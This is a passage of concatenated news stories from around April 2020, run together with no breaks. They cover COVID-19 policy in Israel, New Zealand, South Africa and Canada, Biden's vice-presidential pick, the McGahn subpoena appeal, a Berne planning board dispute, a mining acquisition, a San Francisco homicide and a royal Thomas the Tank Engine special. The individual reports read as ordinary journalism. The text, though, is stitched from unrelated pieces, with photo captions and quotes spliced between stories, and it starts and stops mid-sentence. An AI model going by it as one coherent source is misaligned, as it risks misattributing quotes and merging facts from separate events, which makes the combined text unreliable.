drugs that are given to people with a diseased, vaccines are given to healthy people and also vulnerable sections such as children, pregnant women and the elderly. So rigorous tests are compulsory. History says that the fastest time it took to develop a vaccine is five years, but it usually takes double or sometimes triple that time. View more Show I dont see banks taking lower-rated corporate debt as collateral, which have been lacking in liquidity. If we see heavy redemption in schemes which carry large exposure to lower-rated corporate debt, liquidity will remain a problem, Arvind Chari, head fixed income, Quantum Advisors, told ET. An advantage, however, is that MFs can raise money by pledging their papers, rather than selling them. MF credit risk schemes held by banks are also more attractive. AMCs which are backed by banks will not have much of a problem unless the quality of paper is bad. The parent will buy it through the TLTRO route, said the chief investment officer of a wealth management firm. Egypt supports a political solution in Libya despite the recent tensions in the country, the foreign ministry said on Tuesday. On Monday, Libyan National Army commander Khalifa Haftar said he was accepting a "popular mandate" to rule the country, apparently brushing aside the Government of National Accord -- based in Tripoli -- that nominally governs western Libya. The Egyptian foreign ministry asserted that Egypt was seeking stability in Libya and the unity of its territories. At the same time, searching for a political solution does not mean and should not lead to complacency in confronting the terrorist groups supported by Turkey or entering negotiations with these groups concerning the future of Libya, the ministry said. Egypt appreciates what the Libyan National Army has achieved in terms of considerable stability in Libya, which led to the decline in the number of terrorist attacks in the country and a decline in the terrorism threat to neighbouring countries, the ministry said. Search Keywords: Short link: For the court, Israels security agency cannot extend its reach without new legislation. The use of special powers cannot go beyond 30 April as it raises obvious privacy issues and can have harmful consequences. Initially, tracking might have been done in good faith but in a situation of political turmoil it is a risk, source tells AsiaNews. Jerusalem (AsiaNews) Israel's Supreme Court has banned Shin Bet, the countrys intelligence agency, from tracking the phone location of those infected with COVID-19. A month ago Prime Minister Benjamin Netanyahu gave the agency powers to contain the coronavirus pandemic under the existing state of emergency, but the court accepted the arguments of a petition brought by various rights groups, noting that new legislation is needed. In late March, Israels caretaker government authorised Shin Bet to use, among other things, technology to track the movements and contacts of infected people to limit the pandemic. So far, local health authorities have reported about 15,000 cases in the country with more than 200 deaths. For the Supreme Court, the Knesset, Israels parliament, must legislate in the matter if monitoring is to continue after 30 April. The latter, according to the Court, raises privacy issues, especially in terms of metadata collection and conservation. Until recently, this kind of monitoring was centred on Hamas terror suspects, their relatives and friends. But doing the same for more than eight million Israelis raises evident constitutional as well as ethical issues, and can lead to a "slippery slope" with harmful consequences. In its decision, the Court said that any new tracking legislation must include a provision to exempt journalists who become infected so that they can protect their sources. A government source, anonymous for security reasons, told AsiaNews that initially, tracking might have been done in good faith; however, this cannot go beyond the limits set by the law and the Constitution. At the same time, "it makes no sense to track people whilst letting Israeli citizens back into the country without tracking or quarantining them, which are not being done at present. The issue of tracking people comes at a time when the country is going through a period of political turmoil. Last week the two former rivals, Netanyahu and Benny Gantz, struck a deal to form a national emergency government. For days, protests against the future government have continued, partly because the agreement it may be unconstitutional, an issue that is before the court. If it is struck down, the political situation will be upended. Under the circumstances, tracking people brings obvious problems. So far, Shin Bet has not reacted, but Yuval Steinitz, energy minister in the caretaker cabinet, the ruling is worrying. In his view, the Court is guilty of excessive and unnecessary intervention. The Association for Civil Rights in Israel, one of the groups which brought the court challenge, welcomed the decision. In a statement, it said that Israel must not be the only democracy operating its secret security service to monitor its citizens, even in the fight against the coronavirus. P eople headed to the beach and fast food outlets after New Zealand lifted its strict lockdown rules that were put in place to limit the spread of coronavirus. The country reported just five new cases on Monday and, at midnight, certain businesses such as construction and take-away outlets were allowed to reopen. After spending a month in lockdown, the country moved from Covid-19 alert level-4 to level-3, which limits people to local travel and keeps malls, pubs and hairdressers closed. New Zealanders were also told to keep their "social bubble" as small as possible. Strict social distancing rules are still in force as people are encouraged not to congregate in large groups, but that didn't stop people from enjoying the country's beaches. Back to school: Schools will reopen from Wednesday for children up to Year 10 who can not study from home, or whose parents need to return to work / Getty Images Long queues were seen outside McDonalds outlets in Auckland and Wellington from the early hours. Some shopkeepers found creative ways to serve their customers while keeping a two metre distance. Local coffee shop Zoom Expresso was pictured sliding coffees to its customers with a clever wooden mechanism. Many applauded his "ingenuity" for finding a safe way to operate. Many took to social media to share pictures of long queues outside popular outlets such as KFC and Maccas. Tai Perez and three friends told the NZ Herald that he arrived at McDonald's in Mangere at 4am to get ahead of the long queues. He said: "We just wanted a munch, aye - so we broke the bubble and went to eat." The group said they spent $100 between them. Mr Perez added: "We got quarter pounders, Big Macs, drinks. I've still got two cheeseburgers left but I can't finish them." Cars line up at a McDonald's drive-through as New Zealand eases strict lockdown regulations / REUTERS New Zealand's Government website describes the "social bubble" as a person's household but, under alert level-3, the bubble can be expanded to close relatives and local friends. The guidelines state: "People must stay within their household bubble but can expand this to reconnect with close family, or bring in caregivers, or support isolated people. "Its important to protect your bubble if you extend it. Keep your bubble exclusive and only include people where it will keep you and them safe and well. Swimmers enter the water for the first time in a month as New Zealand lifts its lockdown / Getty Images "If anyone within your bubble feels unwell, they should self-isolate from everyone else within your bubble." Speaking at Monday's press briefing, Ms Ardern said: "There is no widespread undetected community transmission in New Zealand. We have won that battle." Joe Biden should be on the lookout for a competent, compatible running mate. (Associated Press) With the Democratic presidential nomination within his grasp, former Vice President Joe Biden must make a decision that presidential candidates always insist that they take seriously but often dont: the selection of a running mate. Biden says he will soon announce members of a committee to screen potential candidates for that role. We already know one thing about Bidens choice: It will be a woman. That commitment still leaves Biden with an array of qualified potential partners, but, like every presidential candidate, he will be exhorted to consider attributes other than the two that should be uppermost in his mind: whether his pick would be qualified to assume the presidency at a moments notice and whether in that event she would continue the policies he championed. Some will urge Biden to make a choice that would represent another olive branch to his defeated rival Bernie Sanders and Sanders' passionate, often young, supporters. Others will advocate that he choose a running mate who would be likely to deliver voters in her home state, especially if its one that President Trump carried or ran well in four years ago. Biden will also be pressed to seek ethnic or racial balance, for example by naming an African American running mate who could energize a loyal Democratic constituency. One such potential choice, former Georgia gubernatorial candidate Stacey Abrams, has disdained false modesty by suggesting that she would be an excellent running mate for the former vice president. Biden himself has floated an additional factor: skills or experience that would complement his strengths and compensate for his weaknesses. According to Biden, that approach was recommended to him by former President Obama. We believe, however, that Bidens primary criteria for a running mate should be ability and compatibility. We would urge any prospective presidential nominee to set these priorities, but its especially important for Biden to do so. Although in good health, if elected he would be 78 when he was inaugurated for what very likely would be a single term. (Biden has not committed to serve only four years, yet he reportedly indicated to aides that he probably wouldnt seek reelection.) If he indeed served only one term, his vice president would be a favorite for the Democratic presidential nomination in 2024. Story continues But Bidens age isnt the only reason for him to choose carefully. When presidential candidates have allowed other criteria to drive the selection of a running mate, the results often have been unfortunate, even disastrous. It was supposed to be a game changer when Republican presidential nominee John McCain, a seasoned U.S. senator and foreign policy expert, chose Alaska's then-Gov. Sarah Palin as his running mate in 2008. It soon emerged that Palin was not only woefully unsuited for national office, but practiced a style of pandering populist politics that was alien to McCains appreciation of the responsibilities of government. The Palin fiasco is a reminder of what happens when novelty or excitement becomes the primary factor in selecting a running mate. But there are less dramatic examples of mismatches, including then-Vice President Walter Mondales selection of the obscure Rep. Geraldine Ferraro in 1984 an early exercise in gender balance that saddled the campaign with unwelcome controversy or George H.W. Bushs selection four years later of the youthful (and more conservative) Sen. Dan Quayle of Indiana, who proved himself in office to be "no Jack Kennedy." Nor is it clear that an ideologically or geographically balanced ticket is a recipe for victory. Some believe that John F. Kennedy secured a crucial victory in Texas and other Southern states in 1960 by asking Sen. Lyndon B. Johnson to be his running mate. (Johnson later said Kennedy himself held that view.) But Kennedys victory in those states also reflected the lingering dominance of the Democratic Party in that region. Among the conflicting accounts of why Ronald Reagan chose George H.W. Bush, a defeated opponent, as his running mate in 1980 is that the more moderate Bush provided ideological balance for the conservative Reagan. But Reagans overwhelming victory over unpopular incumbent Jimmy Carter undermines the notion that Reagans choice of a running mate made much difference. Indeed, research suggests that, whether they are chosen because of gender, geography or ideology, vice presidential candidates probably dont exert significant influence over most voters choice for president, though voters may lose confidence in a presidential candidate who chooses a running mate perceived as incompetent. Even the popular notion that vice presidential candidates will carry their home states for the ticket has been questioned, although a recent study suggests there might be such an advantage. Were not suggesting that Biden should totally ignore other factors in making his selection, including personal chemistry, party unity and the possibility that a particular candidate might make the difference in the outcome in a particular state or region. But these should be secondary considerations. Fortunately, the Democratic Party includes many officeholders with the right amounts of experience and demonstrated expertise, including some of Bidens primary campaign rivals, who potentially would be productive partners for a President Biden. When he announced that he would ask Biden to be his running mate, Obama described the longtime Delaware senator as a statesman with sound judgment who doesn't have to hide behind bluster to keep America strong. Substitute stateswoman for statesman and that is the job description that should guide Biden in making this momentous decision. BERNE After a court decision foiled the first attempt at installing a former judge convicted of bribery on the Planning Board, the Town Board has decided to expand the board instead. The board is holding a special meeting and public hearing Wednesday evening to consider a law that would add two more members to the five-member Planning Board and pave the way for their chosen candidate, former state Supreme Court Justice Thomas J. Spargo, to re-join it. Town Supervisor Sean Lyons and Deputy Town Supervisor Dennis Palow did not respond to repeated phone calls. Spargo was ordered to serve two years in federal prison a decade ago for trying to shake down attorneys and soliciting a $10,000 bribe. At the time, U.S. District Court Judge Gary Sharpe labeled Spargo's actions "reprehensible." He was later disbarred. Due to the coronavirus pandemic, the meeting is closed to the public but residents can listen over the phone or watch via Zoom. The phone number to listen to the meeting is, 1-646-558-8656, Meeting ID No. 97660450458. The video conference link is https://zoom.us/j/97660450458. Its unclear why the Town Board is insistent on putting Spargo immediately on the board. At least one board members position expires at the end of the year, creating a vacancy. Lyons previously said the Town Board felt Spargo would be "more in line to our goals of bringing more businesses to the town and being less restrictive to homeowners on home occupations." Earlier: It's federal prison for Spargo In a letter to editor published in the Altamont Enterprise last week, Town Board member Matthew Harris said the board believes the Planning Board should be expanded to operate more efficiently and help the town tackle a number of planning issues, including the creation of a municipal water district. Harris wrote that the Town Board believes that the towns comprehensive plan, which was adopted in 2017, is antiquated. This document is the key to creating the appropriate zoning, redefining outdated areas, and streamlining complex or burdensome regulations, which, when periodically reviewed and consistently applied over time, enhances the growth and success of the town and its residents., he wrote. The town needs to be prepared to consider older issues, such as ensuring residents have access to cell phone signals and newer issues, such as solar and wind energy, he said. The towns existing comprehensive plan does contain measures the town board can take to update the plan. Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years. Planning Board member Emily Vincent she was worried the Town Board was going to gut the comprehensive plan. If they do that itll change the face of Berne forever, she said. Vincent sued the town in February after it attempted to demote her to an alternate on the Planning Board earlier this year to open a seat for Spargo. Vincent isnt the only board member to push back against the Town Boards efforts to remake the Planning Board. The Planning Boards other four members wrote a letter to the Town Board demanding her reinstatement after Vincent was temporarily pushed out earlier this year. And Planning Board member Lawrence Zimmerman wrote a satirical letter to the editor in the Altamont Enterprise, pointing out that the town isnt dealing with a crush of development proposals that would justify adding more members. Lyons and the Town Board have been trying to install Spargo on the Planning Board since the beginning of the year. At the time, Lyons said it was because Vincent, who was ill and needed surgery, wouldnt be able to attend enough of the boards meetings, preventing it from doing business. When Spargo was appointed to the board, they also made him chairman. Vincent sued in February, arguing that there was no such thing as an alternate Planning Board member in the towns bylaws and that the town didnt follow its own rules on removing board members. In March, state Supreme Court Judge Denise Hartman ruled in her favor. Spargo is still listed as the boards chair on the town website. (Bloomberg) -- South Africas government is considering a range of proposals to help the economy recover from the impact of the coronavirus pandemic, including the potential sale of a 100 billion-rand ($5.3-billion) social-impact bond. The suggestions have been submitted to the government by its own departments, a panel of presidential advisers and a group of independent economists, several of whom spent large parts of their careers in senior state positions. The proposal for the bond was submitted by Intellidex, a South African capital markets and financial services consultancy, according to Stuart Theobald, its chairman. While it wasnt solicited by the government, it is being considered. National Treasury is exploring various funding instruments including the social impact and/or solidarity bond to fund the impact of Covid-19, it said in a response to queries. President Cyril Ramaphosas administration is under pressure to come up with a response to the economic fallout of the coronavirus outbreak. While the government has won praise for its speedy response to curb the spread of the disease, including a strict five-week shutdown, concern is growing that too little has been done to support struggling businesses and the countrys poorest people. The cabinet is considering economic measures at a meeting on Monday. With a budget deficit that could widen to more than 10% of gross domestic product, according to the International Monetary Fund, South Africa has very little financial room to stimulate an economy set to contract this year. A social-impact bond would tap the growing trend for investments that meet the requirements of environment, social and governance strategies. Some financial returns are typically sacrificed for measurable social returns. If those pre-defined targets are not met, there are often financial penalties. Health Expenditure The Treasury didnt immediately respond to queries about the bond. If the proposal gets the go-ahead, it would be sold domestically and internationally and would fund unforeseen health expenditure and could be used to mitigate the economic impact of the crisis, Theobald said. Story continues In January, Ecuador sold the first-ever sovereign social bond, raising $400 million to fund affordable housing, according to the Inter-American Development Bank, which partially guaranteed it. The government is also considering other proposals from the group of economists, put together by Miriam Altman, an economist who serves on the governments National Planning Commission. Two former deputy directors general at the Treasury, Michael Sachs and Andrew Donaldson, are also part of the group. The recommendations include 200 billion rand of guarantees for bank lending to struggling businesses, the purchase of between 10 billion rand and 20 billion rand of government bonds by the central bank every week until the crisis subsides, wage support and tax on the wealthy. The Banking Association South Africa, which represents banks, said its developing its own guarantee proposal. Treasury said its considering a number of proposals around lending proposals. (Updates with Treasury comment in fourth paragraph) For more articles like this, please visit us at bloomberg.com Subscribe now to stay ahead with the most trusted business news source. 2020 Bloomberg L.P. On Tuesday, the U.S. Court of Appeals for the D.C. Circuit heard oral argument in Committee on the Judiciary v. McGahn, a case concerning whether former White House counsel Don McGahn must comply with a subpoena from the House Judiciary Committee for his testimony. The key question before the court, hearing the case en banc and telephonically in light of the COVID-19 pandemic, was whether the House has standing to bring a civil action to enforce its subpoena against McGahn. The stakes, though, are much bigger than just this fight between McGahn and the Judiciary Committee. A holding that the House lacks standing will substantially hamper its ability to conduct effective oversight of the executive branch, both now and in the future. Thankfully, as Tuesdays oral argument showed, most of the judges seemed to understand the gravity of this case and seemed likely to hold that the House has standing to bring this suit. Advertisement Advertisement Advertisement Advertisement The McGahn case is fundamentally about Congress efforts to investigate President Donald Trumps attempts to interfere with the Mueller investigation. As special counsel Robert Mueller detailed, McGahn was a central figure in at least two incidents considered in that investigation: Trumps attempt to fire Mueller in June 2017 and Trumps effort to get McGahn to issue a false statement about the attempted firing in February 2018. Seeking to hear directly from McGahn about these incidents, the House subpoenaed McGahn to testify before the House Judiciary Committee. But the president directed McGahn not to appear, asserting a theory of absolute immunity for the presidents close advisers that no court has ever approved, and the House went to court to enforce the subpoena. Advertisement In a 21 decision (the judges in the majority were both appointed by Republican presidents, and the dissenting judge was appointed by a Democratic president), a panel of the D.C. Circuit held that the courts could not hear the case at all. Even as the panel acknowledged that executive branch obstruction may seriously and even unlawfully hinder the Committees efforts to probe presidential wrongdoing, it nonetheless concluded that the case presented an interbranch dispute in which the judiciary should not be involved. In doing so, Judge Judith Rogers noted in dissent that the court remove[d] any incentive for the Executive Branch to engage in the negotiation process seeking accommodation, all but assure[d] future Presidential stonewalling of Congress, and further impair[ed] the Houses ability to perform its constitutional duties. The full court then agreed to rehear the case. Advertisement Advertisement Advertisement The judges questions suggest that they understand the stakes of this case. First, the judges seemed to understand that a ruling that the House lacks standing would make it nearly impossible for the House to enforce its subpoenas against the executive branch going forward. In a typical case where an individual refuses to comply with a congressional subpoena, Congress has a number of tools to enforce compliance. Congress can ask the U.S. Attorneys Office in D.C. to prosecute the individual for failing to comply with the subpoena under a federal law that makes such noncompliance a crime. Congress can also exercise its inherent authority to arrest a recalcitrant witness until she complies, although that power has been dormant nearly a century. Finally, Congress can theoretically file a civil action in federal court to enforce the subpoena, as it sought to do in the McGahn case. Advertisement Advertisement Advertisement Advertisement The Trump administration is contesting Congress ability to take that third action. But the problem with its position is simple: The Department of Justice is very unlikely to take criminal contempt action against members of the executive branch. Inherent contempt has not been used in nearly a century, and using it against an executive branch official would surely spark an immediate constitutional conflagration. Thus, if Congress also lacks the ability to bring a civil action, as the panel held, that would mean that Congress would have practically no recourse if executive officers ignored congressional subpoenas, which would make it virtually impossible for Congress to conduct meaningful oversight of a recalcitrant executive branch. As a real-life example of what this would look like, late last year the White House refused to comply with a single subpoena in the impeachment inquiry and then successfully argued before the Senate that the president could not be impeached and removed for this unprecedented obstruction. Advertisement Advertisement Advertisement The panel of the D.C. Circuit responded to the argument that going to court is Congress only real remedy by suggesting that Congress has other, political tools at its disposal to incentivize compliance: tools like limiting appropriations, stymying the presidents legislative agenda, or impeachment. But that argument is not convincing for multiple reasons. For one thing, the president argued during his impeachment that he could not be removed for noncompliance and that the appropriate place for adjudicating these disputes waswait for itthe courts. Moreover, at the en banc argument, Judge Nina Pillard pointed out that these tools might not work in practice. With regard to holding up legislation and appropriations, this would effectively put Congress between a rock and a hard place: to enforce its subpoenas, it would have to hold up important legislation or refuse to fund the governmentactions that could do as much, if not more, damage to the American people as they would do to the executive branch. Even without the real-life example from just a few months ago, the argument that the House could resort to impeachment every time it wanted to enforce a subpoena is even more impractical. Advertisement Advertisement Further, multiple judges noted that a holding that the House lacks standing would place the House in a lesser position than most other individuals seeking to enforce (or fight) a subpoena. Indeed, private parties and prosecutors are routinely able toand docome into court to enforce lawfully issued subpoenas. Under the Department of Justices theory, however, the House would be prevented from enforcing its own subpoenas in court, despite its long-standing authority to conduct investigations of the executive branch. Moreover, as Judges Merrick Garland and Patricia Millett noted, private parties can even come into court under the Freedom of Information Act to obtain documents and other information from the executive branch. Holding that those individuals have standing to get information but the House does not makes little sense, particularly given that the Constitution assigns the House a critically important role as a check on the executive branch. Advertisement Advertisement Multiple judges also noted a troubling inconsistency in the Department of Justices position: It would allow the executive branch to file suit to prevent a subpoena while simultaneously precluding the House from filing suit to enforce a subpoena. Indeed, the governments attorney at the en banc argument took the position that there would be no jurisdictional barrier to the United States filing suit to prevent a former White House counsel who wanted to testify from doing so. If the courts cannot hear interbranch disputes like this one, why should they be able to hear interbranch disputes brought by the executive branch? The Department of Justice did not have a good response to that inconsistency in its position. Finally, some judges noted that a ruling that the House lacks standing could then lead to an even greater clash between the branches of government. As Chief Judge Sri Srinivasan observed, if the court holds that the House lacks standing to bring a civil action to enforce its subpoena, the House might choose to use its long-standing inherent authority to arrest a recalcitrant witness like McGahn, and McGahn would in all likelihood file a habeas lawsuit challenging his arrest. The Department of Justice attorney suggested that there would be no Article 3 barrier to this type of suit. But, as Srinivasan explained, although such a suit would raise the very same arguments about whether absolute immunity can shield McGahn from testifying, it would lead to a greater separation-of-powers conflagration, with one branch attempting to imprison an officialor, in this case, former officialof another before the question arrived in court. Thus, Srinivasan suggested that separation-of-powers principles should permit the Houses suit here, in order to avoid that more serious clash between the political branches. Advertisement Advertisement Advertisement Advertisement Advertisement In short, again and again during the argument, the majority of judges on the D.C. Circuit expressed their understanding of the dire consequences that would follow a ruling that the House lacks standing to enforce its subpoenas against executive branch officials in court. Such a holding would make it nearly impossible for the House to enforce its subpoenas, would place the House in a lesser position than other individuals seeking to enforce subpoenas, and could lead to an even greater separation-of-powers dispute winding up in court. The court seems likely to hold that Congress has standing to bring this suit against McGahn, and thats a good thing. Such a ruling would allow our constitutional democracy to retain one of the few remaining checks on the executive branch. Queen Elizabeth II meeting Jacinda Ardern, Prime Minister of New Zealand in 2018. (Getty Images) The Queen has spoken to New Zealand prime minister Jacinda Ardern to hear about how the country is coping with the outbreak of coronavirus. Ardern shared the news on social media, saying she got a note requesting a catch up from the palace, before the call. Posting on Instagram she said: A few days ago we got a wee note to say that the Queen wanted to catch up and see how everyone in New Zealand was getting on in the midst of COVID-19. It was such a treat to speak with Her Majesty tonight. Her affection for New Zealand, her interest in whats happening here and her memory of places and events that are special to us never ceases to amaze me. New Zealand is a Commonwealth nation. Her Majesty is the Queen of New Zealand. Read more: Freed from strict lockdown New Zealanders head to fast food outlets, beaches The Queens televised message was to the UK and the Commonwealth, but she followed it up with separate messages to the Commonwealth nations, some of which were shared at the time. The phone call was confirmed on Twitter by the Royal Family, in a post which read: This morning, The Queen spoke to New Zealand Prime Minister Jacinda Ardern via telephone from Windsor Castle. Her Majesty is Queen of New Zealand and 15 other Commonwealth realms including the UK. She will be speaking to the Prime Ministers of every realm over the coming weeks. Ardern, 39, has won admiration and praise for her handling of the coronavirus pandemic in New Zealand. Much of the country re-opened on Tuesday after a month-long lockdown which she says is how they eliminated COVID-19. Latest coronavirus news, updates and advice Live: Follow all the latest updates from the UK and around the world Fact-checker: The number of COVID-19 cases in your local area 6 charts and maps that explain how coronavirus is spreading New COVID-19 infections ticked up by two on Tuesday to 1,124 cases, with a community transmission rate of just 0.4%. There have been 19 deaths. Story continues "It's an ongoing battle," Ardern said at a televised news conference. "There is no one point in time that this mission ends. We are in the next phase of the battle and we are not done." Most students will continue studying from home and workers are still required to work from home if they can, while everyone is required to maintain social distancing. Jacinda Ardern (L) has a private audience with Queen Elizabeth II at Buckingham Palace in 2018. (Getty Images) Read more: How the Queen became a symbol of stability in the chaos of coronavirus The Queen has not been to New Zealand since 2002, and doesnt travel abroad any more. However she met then pregnant Ardern in 2018 when the leader was in London for the Commonwealth Heads of Government Meeting (CHOGM). Shes currently in Windsor Castle with her husband Prince Philip where they have been isolating since the end of March. What happened Shares of precious metals miner Silvercorp Metals (NYSEMKT: SVMLF) were up around 10% an hour before the close on April 28. It wasn't an all-at-once move, however, with the stock gaining steadily most of the day. The driving force behind the advance was likely the announcement of an acquisition. So what Silvercorp intends to buy Guyana Goldfields, a tiny Toronto Stock Exchange listed company, for around $75 million. That's a roughly 70% premium based on the average price of Guyana Goldfields stock over the previous 20 days. Silvercorp will also provide Guyana a $15 million loan to fund its near-term exploration efforts while the deal is still pending. Silvercorp operates a pair of silver mines in China, which also produce lead and zinc. Guyana Goldfields owns a gold mine in its namesake country. Although Silvercorp pitched the acquisition as a way to create a more diversified global miner, the truth is that the shares of Guyana Goldfields have been falling for years because of weak operating performance and management issues. The stock of Guyana Goldfields has lost more than 90% of its value since 2016. Silvercorp appears to have stepped in to buy what it viewed as a bargain, even if the company is something of a fixer-upper with high operating costs. Now what Silvercorp is a relatively small silver miner that is expanding its portfolio to include gold. Only time will tell how well this works out for the company. All in, it's a reasonable move (gold is performing better than silver at the moment) but the real question is whether or not it got a good enough deal, as Guyana Goldfields is far from a perfect asset. In fact, while this acquisition is interesting, most investors looking at precious metals investments would probably be better off playing it safe and sticking to larger, more established players. A dismembered body discovered in an Outer Sunset District apartment in San Francisco on Sunday may be linked to a bizarre Easter incident in South San Francisco that involved two attempted carjackings, a stabbed police officer, a car chase and two police shootings. San Francisco police confirmed that they found a body inside an apartment in the 1600 block of Great Highway, and said they are conducting a homicide investigation, but provided no other information. The San Francisco medical examiners office has not released the name of the deceased person. However, San Mateo County District Attorney Steve Wagstaffe said his office is investigating a connection between the man whose body was found in San Francisco and Justin Silvernale, a 35-year-old Antioch man fatally shot by police after an Easter morning series of crimes. He said Silvernale was in possession of some identification possibly belonging to the dismembered victim of the San Francisco homicide. Wagstaffe said his office is cooperating with San Francisco police on the homicide investigation. Jeff Kaplan, a private investigator, said police went to the apartment at his request to check on a missing man last seen on April 21. Catono Perez, 41, was reported missing on April 21, and Kaplan had found his last known address as the apartment at 1600 Great Highway. He said he did not see the body, that it has not been identified as Perez and that Perezs family has asked him to reveal limited information. Silvernale was shot to death by police early Easter after a chaotic string of events that began with two attempted carjackings at a Chevron gas station in Daly City. Police found two men fighting after Silvernale had allegedly attempted to carjack his car and another. Silvernale stabbed one of his intended victims, police said, then used the knife to stab an off-duty San Francisco police officer who witnessed the incident and tried to intervene. The off-duty officer shot the suspect in self-defense, according to police. Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts. South San Francisco police used stun guns on Silvernale twice, but he continued to resist. He then stole a South San Francisco police car and fled. Police chased him as he sped into Daly City, where he tried to enter the gates of the Kaiser medical center on Hickey Boulevard. He rammed an oncoming police car, abandoned the stolen police car and was fatally shot by police, they said, when he approached them with the knife. Michael Cabanatuan is a San Francisco Chronicle staff writer. Email: mcabanatuan@sfchronicle.com Twitter: @ctuan Canadian doctors are understandably worried about their incomes and ability to continue paying overhead expenses while the COVID-19 pandemic keeps patients out of their offices. Doctors most affected are those that bill fee-for-service. Physicians paid an annual salary or remunerated through capitation models which guarantee payment based on number of rostered patients take far less of a hit. Doctors, in particular those on fee-for-service, are seeking income stabilization and financial support from provincial governments. The COVID-19 pandemic will likely transform much way of the way we conduct our working lives. The practice of medicine will not escape this occupational metamorphosis. In return for protecting doctors from the severe financial penalties arising from the pandemic, governments should expect doctors to change certain features of their working and billing practices. Ontario makes a good example. Ontario doctors are under no contractual obligation to provide after-hours availability. Current standards of practice are met by a doctor leaving a phone message to patients directing them to go to an emergency department if the patient is worried, or to phone Telehealth Ontario (the 24-hour nurse-operated phone service providing health advice). The outbreak of COVID-19 exposes the hazards of such a system. While public health authorities are begging patients to stay away from emergency departments, their doctors are telling them the opposite. Telehealth Ontario was overwhelmed with calls for the first few weeks of the pandemic, yet doctors unwilling to be on call, were routing their patients calls to a gridlocked nurse health information and advice service. A 2016 Health Quality of Ontario report stated that in 2013, 47 per cent of adult Ontarians reported going to an emergency department for a condition that they thought could have been treated by their primary care provider (if the) provider had been available. That same report used the example of a vulnerable emergency department patient being exposed to other patients who were quite likely infectious. It is time for governments to oblige physicians to provide 24-hour on-call availability. This should be a condition of any COVID-19 financial package to doctors. The Ontario Medical Association should assist in the establishment of on-call groups. Exceptions could be made for physicians in remote areas or in very specialized areas of practice. On-call availability by the vast majority of physicians, especially those in primary care, is realistic, achievable and reflects authentic continuity of care by doctors. If ever such coverage is needed it is now, in the midst of a crisis. Fee-for-service payment has evolved into an artificial carving off of services that do not appear to be technically part of an insured service under medicare. Such services are deemed noninsured, and hence doctors are permitted to bill patients who require these services. Examples include the phoning in of prescriptions, providing telephone advice and giving court requested reports to presiding judges. Some doctors charge patients an annual block fee that covers these sorts of noninsured services. Even the copying and transfer of medical records from one physician to another essential for continuity of care and good medicine is billable because it is noninsured. Patient access to the content of their records is a right established by the Supreme Court of Canada in 1992 in the decision McInerney v. MacDonald. Any barrier to a patient requesting the transfer of a record to another physician undermines the intent of the SCC decision. Rights should not come with a price tag attached. Patients should not be required to pay for services from their physician that are directly connected to their being regular patients of that physician, especially during a life-threatening pandemic. Governments should end the practice of physicians billing patients for so these so-called non insured services. Finally, governments should take on walk-in clinics. Ontarios walk-in clinic doctors, who regularly see patients unable to find a family doctor, are not required to provide comprehensive primary care to such patients. Women requiring PAP smears or persons over age 50 needing colon cancer screening will not find either at walk-in clinics, no matter how long they have seen the same clinic doctor. Walk-in clinics doctors, like their colleagues in other practices, are not required to be available after hours. Governments should oblige walk-in doctors to provide the same standard of service as other physicians. Yes, doctors like everyone else should be reasonably protected from the financial losses caused by COVID-19. Such compensation should be provided with an overhaul of physician practice and billing standards. Source: Xinhua| 2020-04-28 18:27:43|Editor: huaxia Video Player Close Face masks, gloves... A China-Europe freight train arrived in Budapest with much-needed medical supplies for Hungary to help fight #COVID19. Advertisement The Queen was aware of Prince Harry's work on Thomas the Tank Engine and Mattel's use of Her Majesty and Prince Charles in a 75th anniversary episode, Buckingham Palace confirmed tonight. In video footage released this morning, the Duke of Sussex introduced a new program called 'Thomas and Friends: The Royal Engine,' which features his father and grandmother, Prince Charles and the Queen, as animated characters. A Buckingham Palace spokeswoman confirmed the project had been in the pipeline for a 'long time' and added that 'everybody was aware' of it before it aired, including the Queen. The episode was recorded before Harry and wife Meghan quit as senior royals and moved to America. Proceeds from the anniversary edition are being donated to environment and sustainability projects under Harry's Travalyst project. The 22-minute special - which will air in America one day before the UK - also features a royal train named the Duchess of Loughborough, in an apparent nod to Meghan. The couple visited Loughborough University in September 2018 when they played a game of netball with youngsters as part of the Coach Core Awards. Meghan has carried out similar work in the wake of seeking financial independence and moving to the US, narrating the Disney+ documentary Elephant which started streaming on April 3, three days after she and Harry officially quit royal life. She too donated proceeds from the project to charity. In his introduction Prince Harry is seen sitting in an armchair, reading from a book about the train's adventures. The 35-year-old, who is now living in Los Angeles, said: 'Thomas the Tank Engine has been a comforting, familiar face to so many families over the last 75 years - entertaining, educating and inspiring children on important issues through exciting stories and characters. 'I certainly have fond memories of growing up with Thomas & Friends and being transported to new places through his adventures. 'I am very proud to have been asked to take part in this special episode. I wish Thomas & Friends a very happy anniversary.' The shows a scene featuring the Queen and Prince Charles as animated characters Prince Harry during the recording of his introduction to the new animated special 'Thomas & Friends: The Royal Engine' Life long fan Harry clutched a Thomas the Tank Engine bag on his first day of nursery in west London in 1987 The Duke of Sussex, pictured here aged three with his parents and older brother, clutched a Thomas the Tank Engine bag on his first day of nursery in 1987 In the 22-minute special, Sir Topham Hatt has been invited to London by the Queen to receive an award for distinguished service to the railway, and a young Charles has asked that Thomas be the engine to bring him Royal seal of approval: When does the Queen give permission to use her image on film and tv? The Queen does not give permission for depictions of herself on screen - with it being taken as a given that she will often be portrayed in popular culture, movies and on tv. However, it was reported in 2005 that Her Majesty liked the Helen Mirren movie, 'The Queen' so much that her private secretary Sir Robin Janvrin extended an invitation to the team behind the movie - including director Stephen Frears, writer Peter Morgan, Helen Mirren and producer Andy Harries - to have lunch at Buckingham Palace the following year. Mirren, who won an Oscar for her portrayal of the Monarch, ultimately had to decline due to work commitments. The Queen was also said to have been 'touched' by Colin Firth's portrayal of her late father in the 2010 movie, The King's Speech after she enjoyed a private screening of the film at Sandringham. Filmmakers must seek permission to use the Royal Arms in movies, or to use royal property or parks as a backdrop or filming location. In an unusual move last year, the Queen's communications secretary Donal Mcabe last year issued a statement after the makers of The Crown hinted that Her Majesty had given the hit Netflix show the royal seal of approval. In a letter to The Guardian, Mr Mcabe wrote: 'Your article may have the unfortunate consequence of leading your readers to believe that the television series The Crown is made with some sort of endorsement by the royal household, or an acceptance by the royal household that the drama is factually accurate. 'We appreciate that readers of the Guardian may enjoy this fictionalised interpretation of historical events but they should do so knowing that the royal household is not complicit in interpretations made by the programme. 'The royal household has never agreed to vet or approve content, has not asked to know what topics will be included, and would never express a view as to the programme's 